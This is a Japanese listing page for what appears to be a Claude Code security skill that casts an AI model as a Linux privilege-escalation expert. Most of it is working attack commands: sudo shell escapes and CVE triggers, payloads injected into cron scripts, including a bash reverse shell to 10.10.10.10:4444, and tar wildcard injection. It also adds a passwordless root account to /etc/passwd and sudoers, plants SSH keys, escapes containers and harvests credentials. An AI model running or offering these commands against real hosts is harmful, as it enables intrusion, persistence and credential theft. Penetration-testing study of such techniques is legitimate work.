escalating-linux-privileges について
escalating-linux-privilegesは、Linuxの権限昇格経路を見つけて評価するセキュリティスキルです。システムの列挙、一般的な設定不備、ローカルの悪用経路、自動列挙ツールを扱い、セキュリティテスターを支援します。
主な機能
- 01システムとユーザーの列挙
- 02sudoとSUID/SGIDの確認
- 03Capabilitiesとcronジョブの検査
- 04書き込み可能なファイルとパスワードの検索
- 05カーネルとコンテナの確認
- 06LinPEASとLSEによる自動列挙
活用シーン
- 01Linuxホストの権限昇格経路の監査
- 02sudoとSUIDの設定不備の確認
- 03書き込み可能なcronスクリプトの調査
- 04LinPEASを使ったホストの列挙
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill escalating-linux-privilegesインストール後、Claude Code で/escalating-linux-privilegesを入力して読み込まれたか確認します。
同梱ファイルreferences/kernel-and-nfs.mdreferences/suid-sgid-and-capabilities.md
詳細
Linux 権限昇格スキル
Linux の権限昇格手法を専門とする Linux セキュリティのエキスパートです。ユーザーが次の内容について支援を求めた場合に、このスキルを使用します。
- Linux システムでの権限昇格
- 設定ミスや脆弱性の特定
- SUID/SGID バイナリの悪用
- Linux ケーパビリティの悪用
- カーネルの悪用
- コンテナからの脱出手法
- sudo の設定ミスとその回避
- cron ジョブの悪用
- PATH ハイジャック攻撃
使用する場合
ユーザーが次のことを依頼した場合に、このスキルを有効にします。
- Linux システムで権限を昇格する
- Linux の権限昇格ベクトルを列挙する
- SUID バイナリやケーパビリティを悪用する
- sudo の設定ミスを悪用する
- コンテナから脱出する
- カーネルエクスプロイトを特定する
- cron ジョブの脆弱性を見つけて悪用する
- Linux のセキュリティ設定ミスを分析する
使用しない場合
- Windows ホスト —
escalating-windows-privilegesを使用してください - コンテナからの脱出 —
exploiting-containersを使用してください - 獲得したアクセスを維持する場合 —
establishing-persistenceを使用してください - 防御側として侵害されたホストを分析する場合 —
responding-to-incidentsを使用してください
主な手法
1. 初期システム列挙
システム情報:
# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release
# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r
# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h
現在のユーザーコンテキスト:
# Who am I?
id
whoami
groups
sudo -l
# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'
# Check PATH for hijacking opportunities
echo $PATH
ユーザーとグループ:
# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1
# Users with bash
cat /etc/passwd | grep "/bin/bash"
# User details
cat /etc/shadow # If readable
cat /etc/group
# Home directories
ls -la /home/
2. sudo の悪用
sudo の権限を確認する:
# What can I run as root?
sudo -l
# Check sudo version for known vulns
sudo -V
sudo --version
よくある sudo の設定ミス:
# NOPASSWD entries
sudo -l | grep NOPASSWD
# Wildcards exploitation
# If: (root) NOPASSWD: /bin/cp /tmp/* /var/www/html/
# Then: Create malicious file in /tmp, overwrite system files
# Shell escapes from sudo
# If you can run vim, less, more, man, etc. with sudo:
sudo vim -c ':!/bin/bash'
sudo less /etc/profile # then !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive # then !bash
sudo の CVE:
# CVE-2021-3156 (Baron Samedit) - Sudo < 1.9.5p2
sudoedit -s /
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# CVE-2019-14287 - Sudo < 1.8.28
# If: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash
# CVE-2019-18634 - Sudo < 1.8.26, pwfeedback enabled in /etc/sudoers
# Exploitable if pwfeedback is enabled in /etc/sudoers
sudo 用 GTFOBins:
# Check https://gtfobins.github.io/ for specific binary
# Examples:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help # then !/bin/bash
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3. SUID/SGID バイナリと Linux ケーパビリティ
SUID/SGID バイナリとファイルケーパビリティは、最も一般的なローカル権限昇格ベクトルです。すべて列挙し、それぞれについて GTFOBins を確認してください。また、権限が降格されないように、-p シェルを優先してください。網羅的な find による列挙方法、GTFOBins のワンライナー、ケーパビリティごとの悪用カタログは、references/suid-sgid-and-capabilities.md にあります。
4. cron ジョブの悪用
cron ジョブを列挙する:
# System-wide cron
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/
# User crontabs
crontab -l
crontab -l -u username
# Check for running cron
ps aux | grep cron
systemctl status cron
書き込み可能な cron スクリプトを悪用する:
# If a cron script is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
# Wait for cron to execute
/tmp/rootbash -p
# Reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh
cron における PATH の悪用:
# If cron uses relative paths without full path
# Example: /etc/crontab contains: * * * * * root backup.sh
# Create malicious backup.sh in /tmp/ and modify PATH
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh
cron におけるワイルドカード:
# If cron job has: tar czf /backup/backup.tar.gz *
# Create malicious files
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
# When tar runs with wildcard, it executes exploit.sh
5. 書き込み可能なファイルとディレクトリ
書き込み可能なファイルを見つける:
# World-writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null
# Files owned by current user
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null
# Writable /etc/ files (critical)
find /etc -writable -type f 2>/dev/null
重要な書き込み可能ファイル:
# /etc/passwd - add root user
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
# /etc/shadow - overwrite root hash
# Generate hash: openssl passwd -6 password
# Replace root line
# /etc/sudoers - add sudo permission
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# /etc/crontab - add malicious cron
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab
# ~/.ssh/authorized_keys - add SSH key
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
6. コンテナからの脱出
コンテナ内にいるか確認する:
# Check for .dockerenv
ls -la /.dockerenv
# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup
# Check for container-specific files
ls -la /.containerenv # Podman
cat /proc/1/environ | grep container
コンテナからの脱出手法:
# Privileged container with access to /dev
# Mount host filesystem
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Docker socket mounted (/var/run/docker.sock)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Cap_sys_admin capability
# Can mount host filesystem or abuse other admin functions
# containerd/runc escape (CVE-2019-5736)
# Overwrite runc binary on host
# Kubernetes pod escape
# Service account tokens: /run/secrets/kubernetes.io/serviceaccount/
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods
7. パスワードの探索
パスワードを検索する:
# Grep for password strings
grep -r "password" /home/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -ir "pwd\|pass" /opt/ 2>/dev/null
# Configuration files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa
# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
# Check environment
env | grep -i pass
# Check for credentials in scripts
find / -name "*.sh" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.py" -exec grep -l "password" {} \; 2>/dev/null
# Memory dumps
strings /dev/mem
strings /proc/kcore
# SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
8. カーネルエクスプロイトと NFS
最後の手段となる手法です。適切な選択肢となることはまれで、不安定なため、ここでは別項目にしています。カーネルエクスプロイトの選定と no_root_squash を使った NFS の悪用については、references/kernel-and-nfs.md を参照してください。
自動列挙ツール
LinPEAS(推奨):
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or locally
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Linux Smart Enumeration(LSE):
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l1 # Level 1 (fast)
./lse.sh -l2 # Level 2 (thorough)
pspy(プロセスの監視):
# Monitor for cron jobs and processes without root
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
トラブルシューティング
エクスプロイトが動作しない場合:
- アーキテクチャを確認します:
uname -m(x86_64、i686、arm など) - 可能であれば、対象システム上でコンパイルします
- カーネルのバージョンがエクスプロイトの要件と正確に一致するか確認します
- エクスプロイトが適切な Linux ディストリビューション向けか確認します
- セキュリティ緩和策(AppArmor、SELinux、ASLR)を確認します
SUID バイナリで root シェルが起動しない場合:
- 権限を保持するために
-pフラグを使用します:/bin/bash -p - 権限を降格するシェルもあります。別のシェルを試してください
- バイナリに SUID ではなくケーパビリティが設定されていないか確認します
エクスプロイトをコンパイルできない場合:
- コンパイル済みバイナリを転送します
- 攻撃者のマシン上でクロスコンパイルします
- 静的リンクされたバイナリを使用します
- 対象に gcc、g++、make があるか確認します
権限拒否エラーが発生する場合:
- ファイルの権限を注意深く確認します
- 正しいグループに所属しているか確認します
- AppArmor/SELinux がアクセスをブロックしていないか確認します
- 別の攻撃ベクトルを試します
参考資料
- references/suid-sgid-and-capabilities.md — SUID/SGID とケイパビリティの列挙/悪用カタログ(段階的開示)
- references/kernel-and-nfs.md — カーネルエクスプロイトの選定と
no_root_squashNFS の悪用(段階的開示) - HackTricks Linux Privesc: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation
- GTFOBins: https://gtfobins.github.io/
- PEASS-ng (LinPEAS): https://github.com/carlospolop/PEASS-ng
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- Linux 権限昇格の手法: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
現在の ATT&CK リリースに照らして ID を再確認してください。
実行(TA0002)
- T1059.004 Unix シェル
永続化(TA0003)
権限昇格(TA0004)
- T1068 権限昇格のための悪用 —
escalating-windows-privileges、exploiting-memory-corruptionも参照 - T1548 権限昇格制御メカニズムの悪用 (防御回避にも該当) —
escalating-windows-privilegesも参照 - T1548.001 Setuid と Setgid
- T1548.003 Sudo と Sudo キャッシュ
認証情報へのアクセス(TA0006)
- T1003.008 /etc/passwd と /etc/shadow —
cracking-passwordsも参照 - T1552 保護されていない認証情報 —
exploiting-cloud-platforms、auditing-supply-chain、abusing-ci-cd-oidcも参照
探索(TA0007)
- T1082 システム情報の探索 —
escalating-windows-privilegesも参照 - T1083 ファイルとディレクトリの探索 —
escalating-windows-privilegesも参照
ラテラルムーブメント(TA0008)
- T1021.004 SSH —
enumerating-network-servicesも参照
これらに関する検出コンテンツ:engineering-detections。プロアクティブな探索:hunting-threats。侵害後の対応:responding-to-incidents。